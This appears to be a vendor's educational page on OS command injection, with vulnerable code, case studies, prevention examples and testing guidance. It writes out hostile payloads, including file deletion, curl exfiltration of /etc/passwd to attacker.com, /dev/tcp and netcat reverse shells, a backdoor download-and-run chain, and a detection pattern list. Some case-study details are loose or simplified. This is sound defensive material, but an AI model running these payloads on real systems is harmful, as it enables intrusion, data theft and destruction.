Documentation

OS Command Injection

CRITICAL SEVERITY REMOTE CODE EXECUTION OWASP TOP 10

Overview

OS Command Injection occurs when an attacker tricks an application into executing arbitrary operating system commands on the server, giving them complete control over the system.

OS Command Injection Illustration

In One Sentence

Forcing a website to run your commands on its server, like having remote control access to someone else's computer.


Simple Explanation

Real-World Analogy

Imagine you have a voice-activated assistant in your home that can run any command you speak. Now imagine a burglar standing outside your window, speaking commands through the window: "Unlock the front door," "Disable the alarm," "Transfer all money from the safe."

The Attack in Action

Normal Usage
Website: "Convert user_photo.jpg to thumbnail"
Server runs: convert user_photo.jpg thumbnail.jpg ✓
Command Injection Attack
User input: user_photo.jpg; rm -rf /
Server runs: convert user_photo.jpg; rm -rf / thumbnail.jpg
Result: Deletes entire file system! ✗

The Vulnerability

Vulnerable Application Example

python# Python/Flask - VULNERABLE CODE
from flask import Flask, request
import os

@app.route('/ping')
def ping():
    # Get IP address from user
    ip = request.args.get('ip')

    # DANGEROUS: Directly using user input in shell command!
    command = f'ping -c 4 {ip}'
    result = os.system(command)

    return f'Ping result: {result}'

Attack Breakdown

The ; (semicolon) is a command separator in Unix/Linux shells, meaning "run this command, then run the next command."

Command Injection Operators

bash;   # Command separator: cmd1; cmd2 (run both)
&&  # AND operator: cmd1 && cmd2 (run cmd2 if cmd1 succeeds)
||  # OR operator: cmd1 || cmd2 (run cmd2 if cmd1 fails)
|   # Pipe: cmd1 | cmd2 (send output of cmd1 to cmd2)
`   # Backticks: cmd1 `cmd2` (execute cmd2 and substitute result)
$() # Command substitution: cmd1 $(cmd2)
&   # Background: cmd1 & cmd2 (run cmd1 in background)
\n  # Newline: run commands on separate lines
cmd&   # Command separator: cmd1 & cmd2
&&  # AND operator
||  # OR operator
|   # Pipe
bash8.8.8.8; whoami
# Runs: ping 8.8.8.8, then whoami

Types of Command Injection

1. Direct Command Injection

Directly injecting complete commands using operators with visible output

python# Vulnerable: Image conversion tool
import os

def convert_image(filename):
    # VULNERABLE
    os.system(f'convert {filename} output.png')

2. Blind Command Injection

Command executes but output isn't shown directly. Attacker uses confirmation techniques.

bash# If command runs, server will delay 10 seconds
8.8.8.8; sleep 10
bash# If command runs, attacker's server receives a request
8.8.8.8; curl http://attacker.com/confirm

# Or DNS lookup
8.8.8.8; nslookup attacker.com
bash# Create file, then check if it exists
8.8.8.8; touch /tmp/pwned.txt
# Later: Check if /tmp/pwned.txt exists
python@app.route('/ping')
def ping():
    ip = request.args.get('ip')
    os.system(f'ping -c 4 {ip} > /dev/null 2>&1')  # Output hidden
    return 'Ping executed'

3. Output Redirection

Redirecting command output to files or network

bash# Write /etc/passwd to web-accessible directory
8.8.8.8; cat /etc/passwd > /var/www/html/passwd.txt

# Now visit: http://website.com/passwd.txt
bash# Send data to attacker's server
8.8.8.8; curl -X POST -d "$(cat /etc/passwd)" http://attacker.com/collect

4. Reverse Shell

Making the server connect back to the attacker, giving them interactive command-line access

bash# Server connects to attacker's machine
8.8.8.8; bash -i >& /dev/tcp/attacker.com/4444 0>&1
Step 1: Attacker sets up listener
  → nc -lvp 4444

Step 2: Victim runs injected reverse shell command
  → Command executed via injection

Step 3: Victim's server connects to attacker's listener
  → Connection established

Step 4: Attacker now has shell access to victim's server!
  → Full remote control achieved

Real-World Examples

Case Study 1: Shellshock (CVE-2014-6271)

Arbitrary command execution via Bash environment variables

bash# Vulnerable Bash versions processed commands in environment variables
User-Agent: () { :; }; /bin/bash -c "curl http://attacker.com/malware.sh | bash"

# When CGI script processed this header:
# Bash executed the injected command!
  • Millions of servers affected
  • Worms spreading automatically
  • Used in botnets and ransomware
  • Web servers using CGI scripts
  • DHCP clients
  • SSH servers with ForceCommand
  • Any system parsing untrusted input into bash environment

Case Study 2: Equifax Breach (2017)

Command injection via Apache Struts serialization vulnerability

  • 147 million people affected
  • $700+ million in costs
  • CEO, CIO, CSO resigned
java// Simplified vulnerable code
String redirectUrl = request.getParameter("redirect");
Runtime.getRuntime().exec("redirect " + redirectUrl);

// Attack:
// redirect=; cat /etc/passwd

Case Study 3: Cisco RV Routers (CVE-2022-20699)

Command injection in web management interface

  • Thousands of routers compromised
  • Used in botnets
  • Corporate network breaches
text# Router diagnostic tool
POST /diagnostic.cgi
ping_addr=8.8.8.8; wget http://attacker.com/backdoor -O /tmp/backdoor; chmod +x /tmp/backdoor; /tmp/backdoor

Case Study 4: Log4Shell (CVE-2021-44228)

Command injection via JNDI lookups in log messages

  • Hundreds of millions of systems affected
  • Classified as "most critical vulnerability decade"
  • Used in ransomware and crypto mining
java// Vulnerable logging
log.info("User login: " + username);

Prevention & Mitigation

1. Avoid System Commands (Best Practice)

The Best Defense

Don't use system commands - use language built-in functions instead.

python# VULNERABLE - Using shell commands
import os

def ping_host(ip):
    os.system(f'ping -c 4 {ip}')  # DANGEROUS!
Task ❌ Avoid ✅ Use Instead
Ping os.system('ping...') ping3 library (Python), net.Dial (Go)
File operations os.system('cp...') shutil.copy() (Python), fs.copy() (Node)
Image conversion os.system('convert...') PIL/Pillow (Python), sharp (Node)
PDF generation os.system('pandoc...') reportlab (Python), pdfkit (Node)
Compression os.system('tar...') tarfile module (Python), archiver (Node)

2. Input Validation (Whitelist)

python# Python - SECURE
import subprocess
import re

def ping_host(ip):
    # Whitelist: Only allow valid IP format
    if not re.match(r'^(\d{1,3}\.){3}\d{1,3}$', ip):
        raise ValueError("Invalid IP address")

    # Additional validation: Check each octet
    octets = ip.split('.')
    if not all(0 <= int(octet) <= 255 for octet in octets):
        raise ValueError("Invalid IP address")

    # Safe to use
    result = subprocess.run(
        ['ping', '-c', '4', ip],
        capture_output=True,
        text=True,
        timeout=10
    )
    return result.stdout

3. Use Parameterized Commands

Critical

Never concatenate strings - use argument arrays

python# DANGEROUS - Shell interprets special characters
import os
os.system(f'ping -c 4 {user_input}')  # Shell=True (implicit)
pythonuser_input = "8.8.8.8; cat /etc/passwd"
subprocess.run(f'ping -c 4 {user_input}', shell=True)
# Executes: ping -c 4 8.8.8.8; cat /etc/passwd (BAD!)
javascriptconst { exec } = require('child_process');
exec(`ping -c 4 ${userInput}`);  // Shell interprets

4. Escape Shell Metacharacters

If shell is absolutely required, escape dangerous characters (last resort)

python# Python - Escaping (last resort)
import shlex

def safe_shell_command(user_input):
    # shlex.quote() escapes all special characters
    safe_input = shlex.quote(user_input)

    command = f'ping -c 4 {safe_input}'
    result = subprocess.run(command, shell=True, capture_output=True)
    return result.stdout
php<?php
// PHP - Escaping
$user_input = $_GET['ip'];
$safe_input = escapeshellarg($user_input);

// escapeshellarg() wraps in single quotes and escapes
$command = "ping -c 4 $safe_input";
$output = shell_exec($command);
?>

5. Sandboxing and Least Privilege

python# Python - Running as restricted user
import subprocess
import pwd
import os

def ping_as_nobody(ip):
    # Validate first
    if not is_valid_ip(ip):
        raise ValueError("Invalid IP")

    # Get nobody user
    nobody = pwd.getpwnam('nobody')

    # Run with minimal privileges
    result = subprocess.run(
        ['ping', '-c', '4', ip],
        user=nobody.pw_uid,
        group=nobody.pw_gid,
        capture_output=True,
        timeout=10
    )
    return result.stdout

6. Monitoring and Detection

python# Python - Command monitoring
import subprocess
import logging
import re

DANGEROUS_PATTERNS = [
    r';',
    r'&&',
    r'\|\|',
    r'\$\(',
    r'`',
    r'\/bin\/',
    r'bash',
    r'sh -c',
    r'curl',
    r'wget',
    r'nc',
    r'netcat'
]

def execute_with_monitoring(command, args):
    # Check for suspicious patterns
    full_command = ' '.join([command] + args)

    for pattern in DANGEROUS_PATTERNS:
        if re.search(pattern, full_command, re.IGNORECASE):
            logging.error(f"SECURITY: Suspicious command detected: {full_command}")
            # Alert security team
            send_security_alert(f"Command injection attempt: {full_command}")
            raise ValueError("Suspicious command detected")

    # Execute if safe
    result = subprocess.run(
        [command] + args,
        shell=False,
        capture_output=True,
        timeout=10
    )
    return result

Testing for Command Injection

Detection Indicators

bash# Test if command runs
?ip=8.8.8.8; sleep 10

# If response takes 10+ seconds = vulnerable!
textError: sh: syntax error near unexpected token `;'
Error: 'cat' is not recognized as an internal command
bash# Normal:
?ip=8.8.8.8
Response: 200 bytes

# With command:
?ip=8.8.8.8; cat /etc/passwd
Response: 2,500 bytes (includes file content!)

Manual Testing

bash# Test each separator
curl "http://target.com/ping?ip=8.8.8.8;whoami"
curl "http://target.com/ping?ip=8.8.8.8%26%26whoami"
curl "http://target.com/ping?ip=8.8.8.8||whoami"
curl "http://target.com/ping?ip=8.8.8.8|whoami"
curl "http://target.com/ping?ip=8.8.8.8\`whoami\`"
bashcurl "http://target.com/ping?ip=8.8.8.8;sleep 10"

# Measure response time
time curl "http://target.com/ping?ip=8.8.8.8;sleep 10"
# If takes ~10 seconds = vulnerable!
bash# DNS lookup (use Burp Collaborator or similar)
curl "http://target.com/ping?ip=8.8.8.8;nslookup RANDOM.burpcollaborator.net"

# HTTP request
curl "http://target.com/ping?ip=8.8.8.8;curl http://RANDOM.burpcollaborator.net"

Automated Testing Tools

Commix
bash# Automated command injection testing
commix --url="http://target.com/ping?ip=8.8.8.8" --level=3

# Test specific parameter
commix --url="http://target.com/ping" --data="ip=8.8.8.8" -p ip
Burp Suite Collaborator
1. Get unique Collaborator URL: abc123.burpcollaborator.net
2. Test: ?ip=8.8.8.8;nslookup abc123.burpcollaborator.net
3. Check Collaborator for incoming DNS/HTTP requests
4. If request received = vulnerable!
SQLMap
bashsqlmap -u "http://target.com/ping?ip=8.8.8.8" --os-shell
Metasploit
bash# Use command injection modules
msfconsole
use auxiliary/scanner/http/command_injection
set RHOSTS target.com
set TARGETURI /ping
run

Test Payloads

bash# Basic tests
; whoami
; id
; pwd
; cat /etc/passwd
; ls -la

# Time-based
; sleep 10
; ping -c 10 127.0.0.1

# Out-of-band
; curl http://attacker.com
; wget http://attacker.com
; nslookup attacker.com

# Reverse shell
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
; nc -e /bin/bash attacker.com 4444

Security Checklist

Development

  • [ ] Use language libraries instead of system commands
  • [ ] Never use shell=True or equivalent
  • [ ] Use argument arrays with shell=False
  • [ ] Validate all user input with whitelists
  • [ ] Escape shell metacharacters if shell required
  • [ ] Never concatenate user input into command strings
  • [ ] Use parameterized command execution

Infrastructure

  • [ ] Run commands with least privilege (restricted user)
  • [ ] Implement sandboxing/containerization
  • [ ] Disable unnecessary system commands
  • [ ] Use SELinux, AppArmor, or similar
  • [ ] Implement network segmentation
  • [ ] Monitor command execution patterns

Testing

  • [ ] Test for command injection with separators
  • [ ] Perform time-based blind injection tests
  • [ ] Use out-of-band confirmation techniques
  • [ ] Automated scanning with Commix/Burp Suite
  • [ ] Penetration testing for command injection
  • [ ] Code review for command execution

Monitoring

  • [ ] Log all command executions with parameters
  • [ ] Alert on suspicious command patterns
  • [ ] Monitor for abnormal process spawning
  • [ ] Implement real-time threat detection
  • [ ] Track failed command injection attempts
  • [ ] Review logs regularly for anomalies

Key Takeaways

Primary Defenses

  1. Avoid system commands - Use language libraries instead
  2. Never use shell=True - Use argument arrays with shell=False
  3. Validate input strictly - Whitelist only expected characters
  4. Use parameterized execution - Never concatenate strings into commands

Critical Points

  • Command injection leads to complete system compromise
  • Even "blind" injection can be exploited with time-based and OOB techniques
  • Escaping alone is NOT sufficient - always prefer safer alternatives
  • Apply defense in depth with monitoring and sandboxing

Best Practices

  • Use least privilege for command execution
  • Sandbox command execution environments
  • Monitor and log all command activity
  • Perform regular security testing
  • Keep systems and dependencies updated

References & Resources

Official Documentation

Testing Tools

Learning Resources


Layerd AI Protection

Layerd AI Cloud WAF blocks command injection:

  • Pattern detection - Identifies command separators and dangerous patterns
  • Behavioral analysis - ML detects abnormal command execution
  • Real-time blocking - Prevents malicious commands from executing
  • Zero-day protection - Catches novel injection techniques

Learn more about Layerd AI Protection →


Remember: OS Command Injection is a critical vulnerability that leads to complete system compromise. Always use language libraries instead of system commands, and never trust user input in command execution contexts.

Avoid system commands entirely whenever possible!


Last updated: November 2025